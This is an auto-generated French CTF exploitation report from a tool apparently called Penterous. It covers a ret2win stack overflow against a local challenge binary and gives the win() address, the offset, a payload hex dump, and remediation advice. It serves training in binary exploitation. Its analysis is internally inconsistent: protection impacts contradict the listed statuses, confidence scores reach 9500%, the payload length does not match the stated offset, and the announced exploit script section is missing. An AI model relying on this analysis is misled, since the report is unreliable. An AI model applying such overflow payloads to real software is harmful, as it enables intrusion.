

# PENTEROUS

## Binary Exploitation Framework

Automated CTF Exploit Report · by p3nt2r0us

>>> P W N E D <<<

|              |                                                         |
|--------------|---------------------------------------------------------|
| BINARY       | k4k4ch1                                                 |
| FULL PATH    | /home/p3nt2r0us/tools/penterous/penterous/chall/k4k4ch1 |
| ARCHITECTURE | i386 · 32-bit                                           |
| DATE         | 2026-06-11 17:51:04                                     |
| STRATEGY     | RET2WIN                                                 |
| MODE         | LOCAL                                                   |
| OFFSET       | 76 bytes                                                |
| DURATION     | 0.24 s                                                  |
| STATUS       | PWNED                                                   |

[ FLAG CAPTURED ]

CTF{placeholder\_flag\_created\_by\_penterous}

**[00] SOMMAIRE**

| #    | SECTION          | CONTENU                                               |
|------|------------------|-------------------------------------------------------|
| [01] | Analyse statique | Protections, fonctions vulnérables, chaînes d'intérêt |
| [02] | Exploitation     | Stratégie, offset, payload, flag capturé              |
| [03] | Script d'exploit | Script pwntools prêt à l'emploi                       |
| [04] | Remédiation      | Recommandations de sécurité et corrections            |
| [05] | Ressources       | Références et plateformes d'apprentissage             |

Ce rapport a été généré automatiquement par Penterous après exploitation réussie du binaire cible. Il détaille les protections détectées, la stratégie utilisée, le payload injecté et fournit un script d'exploit reproductible ainsi que des recommandations de remédiation.

Usage éducatif uniquement – ne pas utiliser sur des systèmes sans autorisation explicite.

**[01] ANALYSE STATIQUE**

| PROTECTION   | STATUT    | IMPACT SÉCURITÉ                          |
|--------------|-----------|------------------------------------------|
| NX / DEP     | DÉSACTIVÉ | Shellcode impossible – ROP requis        |
| Stack Canary | ACTIVÉ    | BOF bloqué – fuite du canary nécessaire  |
| ASLR         | ACTIVÉ    | Adresses libc aléatoires – fuite requise |
| PIE          | DÉSACTIVÉ | Adresses binaire aléatoires              |
| Full RELRO   | DÉSACTIVÉ | Écrasement GOT bloqué                    |
| FORTIFY      | DÉSACTIVÉ | Fonctions dangereuses limitées           |

**[ FONCTIONS VULNÉRABLES ]**

```
> gets() at 0x8049060 [SCORE: 10/10] [stack_bof]
> printf() at 0x8049040 [SCORE: 9/10] [format_string]
> fgets() at 0x8049070 [SCORE: 3/10] [stack_bof]
```

**[ FONCTIONS WIN / CIBLE ]**

```
> win() à 0x8049206
```

**[ CHAÎNES D'INTÉRÊT ]**

```
'cution vers win() !'
'[+] Lecture du flag...'
'/flag.txt'
'flag.txt'
'e un fichier flag.txt avec ton flag pour tester !'
'FLAG >> %s'
'BOF Challenge - LeakThFlag'
'win() est'
```

**[ STRATÉGIES RECOMMANDÉES ]**

| # | STRATÉGIE     | CONFIANCE |
|---|---------------|-----------|
| 1 | ret2win       | 9500 %    |
| 2 | format_string | 7000 %    |
| 3 | ret2shellcode | 5000 %    |
| 4 | rop_chain     | 4000 %    |
| 5 | srop          | 3500 %    |

[02] EXPLOITATION

|           |          |
|-----------|----------|
| STRATÉGIE | RET2WIN  |
| OFFSET    | 76 bytes |
| MODE      | LOCAL    |
| RÉSULTAT  | SUCCESS  |

[ PAYLOAD – HEX DUMP ]

```
0000:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
0010:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
0020:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
0030:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
0040:  41 41 41 41 41 41 41 41 41 41 41 06 92 04 08  |AAAAAAAAAAAA....|
```

[ FLAG CAPTURED ]

CTF{placeholder\_flag\_created\_by\_penterous}



## [04] RECOMMANDATIONS DE REMÉDIATION

01. Activer NX/DEP : compiler avec `-z noexecstack` (ou bit NX matériel actif)
02. Activer PIE : compiler avec `-fpie -pie`
03. Activer Full RELRO : compiler avec `-Wl,-z,relro,-z,now`
04. Supprimer ou stripper les fonctions helper `win()/get_flag()` des binaires de production
05. Contrôler les bornes de toutes les entrées utilisateur : utiliser `fgets()` avec limite explicite plutôt que `gets()/scanf('%s')`
06. Réaliser des audits de sécurité réguliers et des revues de durcissement des binaires
07. Utiliser AddressSanitizer (ASan) et UndefinedBehaviorSanitizer (UBSan) lors du développement

## [05] RESSOURCES D'APPRENTISSAGE

| # | RESSOURCE                                                                |
|---|--------------------------------------------------------------------------|
| 1 | ret2win technique – walkthrough ir0nstone gitbook                        |
| 2 | Smashing the Stack for Fun and Profit – Aleph One (phrack.org/issues/49) |
| 3 | pwn.college – plateforme d'apprentissage structurée (pwn.college)        |
| 4 | pwntools documentation – pwntools.readthedocs.io                         |
| 5 | LiveOverflow YouTube – playlist Binary Exploitation                      |
| 6 | CTFtime.org – compétitions CTF passées et à venir                        |
| 7 | exploit.education – VMs de pratique pwn (exploit.education)              |